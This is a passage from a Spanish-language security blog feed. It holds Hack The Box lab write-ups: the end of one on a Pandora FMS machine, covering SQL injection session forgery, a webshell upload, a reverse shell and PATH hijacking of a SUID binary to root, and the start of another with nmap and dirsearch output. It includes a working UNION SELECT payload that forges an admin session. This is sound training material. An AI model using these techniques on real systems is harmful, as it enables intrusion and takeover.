&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-80b4-9367-da3da557d777.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Determinar número de columnas&lt;/p&gt;
&lt;p&gt;Probando &lt;code&gt;UNION SELECT&lt;/code&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Con 1 y 2 columnas falla.&lt;/li&gt;
&lt;li&gt;Con 3 columnas devuelve HTML correctamente.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Conclusión: la tabla devuelve &lt;strong&gt;3 columnas&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Dumpeo con sqlmap&lt;/p&gt;
&lt;p&gt;Usamos &lt;code&gt;sqlmap&lt;/code&gt; para extraer contenido de &lt;code&gt;tsessions_php&lt;/code&gt; y encontramos una sesión de &lt;code&gt;matt&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-8069-bf6f-e5390d2999c4.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;g4e01qdgk36mfdh90hvcc54umq&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;id_usuario&lt;/span&gt;&lt;span style="color:#f92672"&gt;|&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;s&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;4&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;matt&amp;#34;&lt;/span&gt;;&lt;span style="color:#a6e22e"&gt;alert_msg&lt;/span&gt;&lt;span style="color:#f92672"&gt;|&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;a&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt;{}&lt;span style="color:#a6e22e"&gt;new_chat&lt;/span&gt;&lt;span style="color:#f92672"&gt;|&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;b&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1638796349&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Con esa sesión obtenemos acceso al panel como &lt;code&gt;matt&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-8073-b667-fc11ce39992d.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="escalada-a-admin-secuestro-de-sesión"&gt;Escalada a admin (secuestro de sesión)&lt;/h3&gt;
&lt;p&gt;Como &lt;code&gt;matt&lt;/code&gt; no tenemos permisos de admin (no podemos subir ficheros). La solución es forzar una sesión de admin inyectando el contenido del campo &lt;code&gt;data&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-plain" data-lang="plain"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;session_id=&amp;#39; union select 1,2,&amp;#39;id_usuario|s:5:&amp;#34;admin&amp;#34;;&amp;#39;-- -
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Esto nos devuelve un &lt;code&gt;id_session&lt;/code&gt; válido para &lt;strong&gt;admin&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-80b1-9136-d933ed89e7c6.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="rce-subida-de-webshell"&gt;RCE: subida de webshell&lt;/h3&gt;
&lt;p&gt;Con sesión de admin subimos una &lt;code&gt;shell.php&lt;/code&gt;. En el sistema aparece en:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/var/www/pandora/pandora_console/images/shell.php
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Accedemos a la webshell y lanzamos reverse shell (en mi caso funcionó mejor con la de pentestmonkey).&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-8077-a821-e5a38a46835f.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-8098-87fd-e1cca529a643.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="escalada-a-root-path-hijacking-en-binario-suid"&gt;Escalada a root (PATH hijacking en binario SUID)&lt;/h3&gt;
&lt;p&gt;Enumeramos binarios SUID:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;find / -perm &lt;span style="color:#ae81ff"&gt;-4000&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;&amp;gt;/dev/null
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Destaca &lt;code&gt;/usr/bin/pandora_backup&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Al inspeccionar el binario se aprecia que invoca &lt;code&gt;tar&lt;/code&gt; &lt;strong&gt;sin ruta absoluta&lt;/strong&gt;. Esto permite &lt;strong&gt;PATH hijacking&lt;/strong&gt;: si controlamos &lt;code&gt;PATH&lt;/code&gt; y colocamos un ejecutable llamado &lt;code&gt;tar&lt;/code&gt; antes que el real, el binario SUID ejecutará nuestro payload como root.&lt;/p&gt;
&lt;p&gt;Ejecución&lt;/p&gt;
&lt;p&gt;Desde la reverse shell no funcionó de forma fiable, pero por SSH sí (tras preparar claves).&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-80db-837c-fbaf4797849e.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Una vez ajustado el &lt;code&gt;PATH&lt;/code&gt; y ejecutado &lt;code&gt;pandora_backup&lt;/code&gt;, obtenemos ejecución como &lt;strong&gt;root&lt;/strong&gt;.&lt;/p&gt;
&lt;hr&gt;</content><author>admin@synacklabs.github.io (SynAckLabs)</author></item><item><title>Previous (Medium)</title><link>https://synacklabs.github.io/posts/previous/</link><pubDate>Wed, 14 Jan 2026 00:00:00 +0000</pubDate><guid>https://synacklabs.github.io/posts/previous/</guid><description>&lt;h2 id="resumen"&gt;Resumen&lt;/h2&gt;
&lt;p&gt;Write-up de la máquina Previous &lt;strong&gt;(Medium)&lt;/strong&gt;. Incluye enumeración API, Auth bypass, Local File Inclusion, exfiltración de credenciales y uso del binario Terraform para escalar privilegios.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-80e0-9e49-d9fd4716a970.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="enumeración"&gt;Enumeración&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PORT STATE SERVICE REASON VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;22/tcp open ssh syn-ack ttl &lt;span style="color:#ae81ff"&gt;63&lt;/span&gt; OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;Ubuntu Linux; protocol 2.0&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ssh-hostkey:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#ae81ff"&gt;256&lt;/span&gt; 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f &lt;span style="color:#f92672"&gt;(&lt;/span&gt;ECDSA&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ+m7rYl1vRtnm789pH3IRhxI4CNCANVj+N5kovboNzcw9vHsBwvPX3KYA3cxGbKiA0Vq
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#ae81ff"&gt;256&lt;/span&gt; 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;ED25519&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtuEdoYxTohG80Bo6YCqSzUY9+qbnAFnhsk4yAZNqhM
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;80/tcp open http syn-ack ttl &lt;span style="color:#ae81ff"&gt;63&lt;/span&gt; nginx 1.18.0 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;Ubuntu&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| http-methods:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ Supported Methods: GET HEAD POST OPTIONS
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-title: Did not follow redirect to
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;http://previous.htb/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-server-header: nginx/1.18.0 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;Ubuntu&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="http-puerto-80"&gt;HTTP (Puerto 80)&lt;/h3&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-808d-8dd3-d9616c0d4049.png" alt="Imagen del post"&gt;&lt;/p&gt;</description><content>&lt;h2 id="resumen"&gt;Resumen&lt;/h2&gt;
&lt;p&gt;Write-up de la máquina Previous &lt;strong&gt;(Medium)&lt;/strong&gt;. Incluye enumeración API, Auth bypass, Local File Inclusion, exfiltración de credenciales y uso del binario Terraform para escalar privilegios.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-80e0-9e49-d9fd4716a970.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="enumeración"&gt;Enumeración&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PORT STATE SERVICE REASON VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;22/tcp open ssh syn-ack ttl &lt;span style="color:#ae81ff"&gt;63&lt;/span&gt; OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;Ubuntu Linux; protocol 2.0&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ssh-hostkey:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#ae81ff"&gt;256&lt;/span&gt; 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f &lt;span style="color:#f92672"&gt;(&lt;/span&gt;ECDSA&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ+m7rYl1vRtnm789pH3IRhxI4CNCANVj+N5kovboNzcw9vHsBwvPX3KYA3cxGbKiA0Vq
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#ae81ff"&gt;256&lt;/span&gt; 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;ED25519&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtuEdoYxTohG80Bo6YCqSzUY9+qbnAFnhsk4yAZNqhM
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;80/tcp open http syn-ack ttl &lt;span style="color:#ae81ff"&gt;63&lt;/span&gt; nginx 1.18.0 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;Ubuntu&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| http-methods:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ Supported Methods: GET HEAD POST OPTIONS
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-title: Did not follow redirect to
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;http://previous.htb/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-server-header: nginx/1.18.0 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;Ubuntu&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="http-puerto-80"&gt;HTTP (Puerto 80)&lt;/h3&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-808d-8dd3-d9616c0d4049.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Durante la navegación inicial aparece:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Contacto:&lt;/strong&gt; &lt;code&gt;jeremy@previous.htb&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Rutas visibles: &lt;strong&gt;GET STARTED&lt;/strong&gt; y &lt;strong&gt;DOCS&lt;/strong&gt;: &lt;code&gt;/api/auth/signin?callbackUrl=%2Fdocs&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Descubrimiento de rutas&lt;/p&gt;
&lt;p&gt;Se enumeraron endpoints con &lt;code&gt;dirsearch&lt;/code&gt; y la mayoría redirigían a &lt;code&gt;/api/auth/signin?callbackUrl=...&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;dirsearch -u previous.htb
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 35B - /api -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 39B - /api.log -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi.log
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 39B - /api-doc -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi-doc
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 38B - /
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;api.py
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;2Fapi.py
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 39B - /api.php -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi.php
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 40B - /api-docs -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi-docs
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 44B - /api/config -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fconfig
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 60B - /api/apidocs/swagger.json -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fapidocs%2Fswagger.json
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 60B - /api/2/issue/createmeta -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2F2%2Fissue%2Fcreatemeta
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 41B - /api/api -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fapi
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 48B - /api/index.html -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Findex.html
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 52B - /api/cask/graphql -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fcask%2Fgraphql
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 46B - /api/api-docs -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fapi-docs
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 42B - /api/docs -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fdocs
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 45B - /api/profile -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fprofile
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 43B - /api/batch -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fbatch
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 50B - /api/swagger.json -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fswagger.json
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 54B - /api/application.wadl -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fapplication.wadl
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 44B - /api/jsonws -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fjsonws
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 48B - /api/login.json -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Flogin.json
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 57B - /api/spec/swagger.json -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fspec%2Fswagger.json
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 47B - /api/snapshots -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fsnapshots
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 47B - /api/error_log -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Ferror_log
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 43B - /api/proxy -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fproxy
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 45B - /api/swagger -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fswagger
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 53B - /api/swagger-ui.html -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fswagger-ui.html
